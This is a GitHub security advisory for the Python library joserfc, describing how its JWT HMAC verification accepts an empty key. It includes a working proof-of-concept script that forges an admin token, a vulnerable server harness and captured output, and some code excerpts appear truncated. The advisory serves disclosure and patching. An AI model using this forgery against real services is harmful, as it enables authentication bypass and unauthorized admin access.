GitHub Advisoryadvisory · PyPI

GHSA-gg9x-qcx2-xmrh joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)

HIGH Published 2026-07-02 Modified 2026-07-02 Official page ↗
Aliases
CVE-2026-49852
Ecosystem
PyPI
Packages
joserfc
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-1391, CWE-287, CWE-326
Reviewed
2026-07-02

Affected packages

• PyPI joserfc: < 1.6.8 → fixed in 1.6.8

Description

Summary `joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or `None`. `HMACAlgorithm.sign` and `HMACAlgorithm.verify` in `src/joserfc/_rfc7518/jws_algs.py:62-70` feed whatever `OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key` only emits a `SecurityWarning` when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns `""`, or a `Hash.new("")`-style default verifies attacker tokens forged with `HMAC(key=b"", signing_input)` because the attacker trivially reproduces the same digest with no secret knowledge. This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated `authlib.jose` module by the same maintainer; filing this advisory against joserfc alongside a separate `authlib` advisory because the codebases are independent shipping artifacts on PyPI.) Affected versions `joserfc` (PyPI) ` bytes: op_key = key.get_op_key("sign") return hmac.new(op_key, msg, self.hash_alg).digest() def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool: op_key = key.get_op_key("verify") v_sig = hmac.new(op_key, msg, self.hash_alg).digest() return hmac.compare_digest(sig, v_sig) ``` `src/joserfc/_rfc7518/oct_key.py:52-63`: ```python @classmethod def import_key(cls, value, parameters=None, password=None) -> "OctKey": key: OctKey = super(OctKey, cls).import_key(value, parameters, password) if len(key.raw_value) = 112 bits", SecurityWarning) return key ``` The `< 14` check only warns; `len(key.raw_value) == 0` falls through and is returned to the caller. `HMACAlgorithm.verify` then calls `hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest())`, and Python's `hmac.new(b"", ...)` accepts the empty key. Cross-language sibling of ruby-jwt's fix in `lib/jwt/jwa/hmac.rb`: ```ruby def ensure_valid_key!(key) raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String) raise_verify_error!('HMAC key cannot be empty') if key.empty? end ``` invoked from both `sign(signing_key:)` and `verify(verification_key:)`. PyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key` raises `InvalidKeyError("HMAC key must not be empty.")` for `len(key_bytes) == 0`). firebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a 256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the strongest existing length-warning logic but stops at `< 14 bytes` warn rather than `== 0` reject. How an empty `JWT_SECRET` reaches `hmac.new` 1. The application calls `joserfc.jwt.decode(value, key, algorithms=["HS256"])` where `key = OctKey.import_key("")` (or `OctKey.import_key(b"")`, or any custom path that yields an `OctKey` whose `raw_value` is `b""`). 2. `decode` (`src/joserfc/jwt.py:86-117`) calls `_decode_jws(...)` → `deserialize_compact(value, key, algorithms, registry)`. 3. `deserialize_compact` (`src/joserfc/jws.py`) dispatches to `HMACAlgorithm.verify(signing_input, signature, key)`. 4. `verify` calls `key.get_op_key("verify")` → returns `b""`. 5. `hmac.new(b"", signing_input, sha256).digest()` is computed; the attacker computed exactly that digest with the same empty key, so `hmac.compare_digest` returns `True` and decode succeeds. No upstream `nil`-check, no length check, no schema rejection. The path is reached from the public `joserfc.jwt.decode` API. Proof of concept Attacker (no secret knowledge): ```python import base64, hmac, hashlib, json, time def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=") header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) now = int(time.time()) payload = b64url(json.dumps({ "sub": "attacker", "admin": True, "iat": now, "exp": now + 600, }).encode()) signing_input = header + b"." + payload sig = hmac.new(b"", signing_input, hashlib.sha256).digest() forged = signing_input + b"." + b64url(sig) print(forged.decode()) ``` Server harness: ```python server.py from joserfc import jwt from joserfc.jwk import OctKey import os from wsgiref.simple_server import make_server def app(environ, start_response): auth = environ.get("HTTP_AUTHORIZATION", "") token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else "" key = OctKey.import_key(os.environ.get("JWT_SECRET", "")) # default = "" try: tok = jwt.decode(token, key, algorithms=["HS256"]) c = tok.claims body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode() start_response("200 OK", [("Content-Type", "text/plain")]) return [body] except Exception as e: start_response("401 Unauthorized", [("Content-Type", "text/plain")]) return [("DENY: %s\n" % e).encode()] make_server("127.0.0.1", 8383, app).serve_forever() ``` End-to-end reproduction (against `pip install joserfc==1.6.7`) ```bash 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret state. python3.12 -m venv venv ./venv/bin/pip install joserfc==1.6.7 ./venv/bin/python server.py & # listens on :8383 2. Run the attacker ./venv/bin/python attacker.py ``` Captured run output (canonical pre-fix run, joserfc 1.6.7, `poc-attacker-empty-20260523-150949.log`): ``` forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY HTTP 200 OK: sub='attacker' admin=True ``` Control (real 256-bit secret, `poc-control…

Related

Alias · CVE (1)

  • CVE-2026-49852 joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. vulnerability

Weakness · CWE (3)

  • CWE-1391 Use of Weak Credentials weakness
  • CWE-287 Improper Authentication weakness
  • CWE-326 Inadequate Encryption Strength weakness

References